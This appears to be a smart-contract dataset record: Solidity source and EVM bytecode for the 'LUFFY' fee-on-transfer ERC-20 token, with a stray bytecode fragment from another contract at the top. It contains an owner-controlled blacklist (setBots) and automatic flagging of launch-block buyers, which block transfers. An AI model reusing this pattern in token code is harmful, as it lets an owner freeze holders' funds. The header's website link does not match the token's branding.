08260ff1660ff16815260200191505060405180910390f35b341561027857600080fd5b6102ad600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a29565b604051808215151515815260200191505060405180910390f35b34156102d257600080fd5b6102fe600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cba565b6040518082815260200191505060405180910390f35b341561031f57600080fd5b610327610d02565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036757808201518184015260208101905061034c565b50505050905090810190601f1680156103945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ad57600080fd5b6103e2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610da0565b604051808215151515815260200191505060405180910390f35b341561040757600080fd5b61043c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fbf565b604051808215151515815260200191505060405180910390f35b341561046157600080fd5b6104ac600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111bb565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105585780601f1061052d57610100808354040283529160200191610558565b820191906000526020600020905b81548152906001019060200180831161053b57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561069957600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106e657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561077157600080fd5b6107c2826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610855826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061092682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b3a576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bce565b610b4d838261124290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d985780601f10610d6d57610100808354040283529160200191610d98565b820191906000526020600020905b815481529060010190602001808311610d7b57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ddd57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e2a57600080fd5b610e7b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f0e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061105082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561125057fe5b818303905092915050565b6000818301905082811015151561126e57fe5b809050929150505600a165627a7a723058208787debcc17860082f97534ffbeb2b206e7ff3f7721119a3e12cefb438ea2fa40029
|
{"success": true, "error": null, "results": {}}
| 4,157 |
0xb838549e446557a73dd9ccccd314f3202436fe88
|
/**
*Submitted for verification at Etherscan.io on 2022-03-13
*/
/**
*
*
*
*/
// LUFFY ETH
// Version: 2
// Website: www.shibnobi.com
// Twitter: https://twitter.com/luffyinutoken (@luffyinutoken)
// TG: https://t.me/luffytokenchannel
// Facebook: https://www.facebook.com/groups/luffytoken/
// Instagram: https://www.instagram.com/luffytoken/
// Reddit: https://www.reddit.com/r/luffy_inu/
// Discord: https://discord.com/invite/erqwUsSssf
pragma solidity ^0.8.10;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract LUFFY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "LUFFY";
string private constant _symbol = "LUFFY";
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(3).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (2 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 12, "not larger than 12%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103bc578063cf0848f7146103d1578063cf9d4afa146103f1578063dd62ed3e14610411578063e6ec64ec14610457578063f2fde38b1461047757600080fd5b8063715018a61461031f5780638da5cb5b1461033457806390d49b9d1461035c57806395d89b4114610172578063a9059cbb1461037c578063b515566a1461039c57600080fd5b806331c2d8471161010857806331c2d847146102385780633bbac57914610258578063437823ec14610291578063476343ee146102b15780635342acb4146102c657806370a08231146102ff57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101af57806318160ddd146101df57806323b872dd14610204578063313ce5671461022457600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50610170610497565b005b34801561017e57600080fd5b5060408051808201825260058152644c5546465960d81b602082015290516101a691906118b4565b60405180910390f35b3480156101bb57600080fd5b506101cf6101ca36600461192e565b6104e3565b60405190151581526020016101a6565b3480156101eb57600080fd5b50678ac7230489e800005b6040519081526020016101a6565b34801561021057600080fd5b506101cf61021f36600461195a565b6104fa565b34801561023057600080fd5b5060096101f6565b34801561024457600080fd5b506101706102533660046119b1565b610563565b34801561026457600080fd5b506101cf610273366004611a76565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561029d57600080fd5b506101706102ac366004611a76565b6105f9565b3480156102bd57600080fd5b50610170610647565b3480156102d257600080fd5b506101cf6102e1366004611a76565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030b57600080fd5b506101f661031a366004611a76565b610681565b34801561032b57600080fd5b506101706106a3565b34801561034057600080fd5b506000546040516001600160a01b0390911681526020016101a6565b34801561036857600080fd5b50610170610377366004611a76565b6106d9565b34801561038857600080fd5b506101cf61039736600461192e565b610753565b3480156103a857600080fd5b506101706103b73660046119b1565b610760565b3480156103c857600080fd5b50610170610879565b3480156103dd57600080fd5b506101706103ec366004611a76565b610930565b3480156103fd57600080fd5b5061017061040c366004611a76565b61097b565b34801561041d57600080fd5b506101f661042c366004611a93565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046357600080fd5b50610170610472366004611acc565b610bd6565b34801561048357600080fd5b50610170610492366004611a76565b610c4c565b6000546001600160a01b031633146104ca5760405162461bcd60e51b81526004016104c190611ae5565b60405180910390fd5b60006104d530610681565b90506104e081610ce4565b50565b60006104f0338484610e5e565b5060015b92915050565b6000610507848484610f82565b610559843361055485604051806060016040528060288152602001611c60602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061139d565b610e5e565b5060019392505050565b6000546001600160a01b0316331461058d5760405162461bcd60e51b81526004016104c190611ae5565b60005b81518110156105f5576000600560008484815181106105b1576105b1611b1a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ed81611b46565b915050610590565b5050565b6000546001600160a01b031633146106235760405162461bcd60e51b81526004016104c190611ae5565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f5573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f4906113d7565b6000546001600160a01b031633146106cd5760405162461bcd60e51b81526004016104c190611ae5565b6106d7600061145b565b565b6000546001600160a01b031633146107035760405162461bcd60e51b81526004016104c190611ae5565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f0338484610f82565b6000546001600160a01b0316331461078a5760405162461bcd60e51b81526004016104c190611ae5565b60005b81518110156105f557600c5482516001600160a01b03909116908390839081106107b9576107b9611b1a565b60200260200101516001600160a01b03161415801561080a5750600b5482516001600160a01b03909116908390839081106107f6576107f6611b1a565b60200260200101516001600160a01b031614155b156108675760016005600084848151811061082757610827611b1a565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087181611b46565b91505061078d565b6000546001600160a01b031633146108a35760405162461bcd60e51b81526004016104c190611ae5565b600c54600160a01b900460ff166109075760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c1565b600c805460ff60b81b1916600160b81b17905542600d81905561092b906078611b61565b600e55565b6000546001600160a01b0316331461095a5760405162461bcd60e51b81526004016104c190611ae5565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a55760405162461bcd60e51b81526004016104c190611ae5565b600c54600160a01b900460ff1615610a0d5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c1565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a889190611b79565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af99190611b79565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6a9190611b79565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c005760405162461bcd60e51b81526004016104c190611ae5565b600c811115610c475760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031322560681b60448201526064016104c1565b600855565b6000546001600160a01b03163314610c765760405162461bcd60e51b81526004016104c190611ae5565b6001600160a01b038116610cdb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c1565b6104e08161145b565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d2c57610d2c611b1a565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da99190611b79565b81600181518110610dbc57610dbc611b1a565b6001600160a01b039283166020918202929092010152600b54610de29130911684610e5e565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e1b908590600090869030904290600401611b96565b600060405180830381600087803b158015610e3557600080fd5b505af1158015610e49573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ec05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c1565b6001600160a01b038216610f215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c1565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fe65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c1565b6001600160a01b0382166110485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c1565b600081116110aa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c1565b6001600160a01b03831660009081526005602052604090205460ff16156111525760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c1565b6001600160a01b03831660009081526004602052604081205460ff1615801561119457506001600160a01b03831660009081526004602052604090205460ff16155b80156111aa5750600c54600160a81b900460ff16155b80156111da5750600c546001600160a01b03858116911614806111da5750600c546001600160a01b038481169116145b1561138b57600c54600160b81b900460ff166112385760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c1565b50600c546001906001600160a01b0385811691161480156112675750600b546001600160a01b03848116911614155b8015611274575042600e54115b156112bb57600061128484610681565b90506112a4606461129e678ac7230489e8000060036114ab565b9061152a565b6112ae848361156c565b11156112b957600080fd5b505b600d544214156112e9576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112f430610681565b600c54909150600160b01b900460ff1615801561131f5750600c546001600160a01b03868116911614155b1561138957801561138957600c546113539060649061129e90600f9061134d906001600160a01b0316610681565b906114ab565b81111561138057600c5461137d9060649061129e90600f9061134d906001600160a01b0316610681565b90505b61138981610ce4565b505b611397848484846115cb565b50505050565b600081848411156113c15760405162461bcd60e51b81526004016104c191906118b4565b5060006113ce8486611c07565b95945050505050565b600060065482111561143e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c1565b60006114486116ce565b9050611454838261152a565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114ba575060006104f4565b60006114c68385611c1e565b9050826114d38583611c3d565b146114545760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c1565b600061145483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116f1565b6000806115798385611b61565b9050838110156114545760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c1565b80806115d9576115d961171f565b6000806000806115e88761173b565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116159085611782565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054611644908461156c565b6001600160a01b038916600090815260016020526040902055611666816117c4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116ab91815260200190565b60405180910390a350505050806116c7576116c7600954600855565b5050505050565b60008060006116db61180e565b90925090506116ea828261152a565b9250505090565b600081836117125760405162461bcd60e51b81526004016104c191906118b4565b5060006113ce8486611c3d565b60006008541161172e57600080fd5b6008805460095560009055565b6000806000806000806117508760085461184e565b91509150600061175e6116ce565b905060008061176e8a858561187b565b909b909a5094985092965092945050505050565b600061145483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061139d565b60006117ce6116ce565b905060006117dc83836114ab565b306000908152600160205260409020549091506117f9908261156c565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e80000611829828261152a565b82101561184557505060065492678ac7230489e8000092509050565b90939092509050565b60008080611861606461129e87876114ab565b9050600061186f8683611782565b96919550909350505050565b6000808061188986856114ab565b9050600061189786866114ab565b905060006118a58383611782565b92989297509195505050505050565b600060208083528351808285015260005b818110156118e1578581018301518582016040015282016118c5565b818111156118f3576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e057600080fd5b803561192981611909565b919050565b6000806040838503121561194157600080fd5b823561194c81611909565b946020939093013593505050565b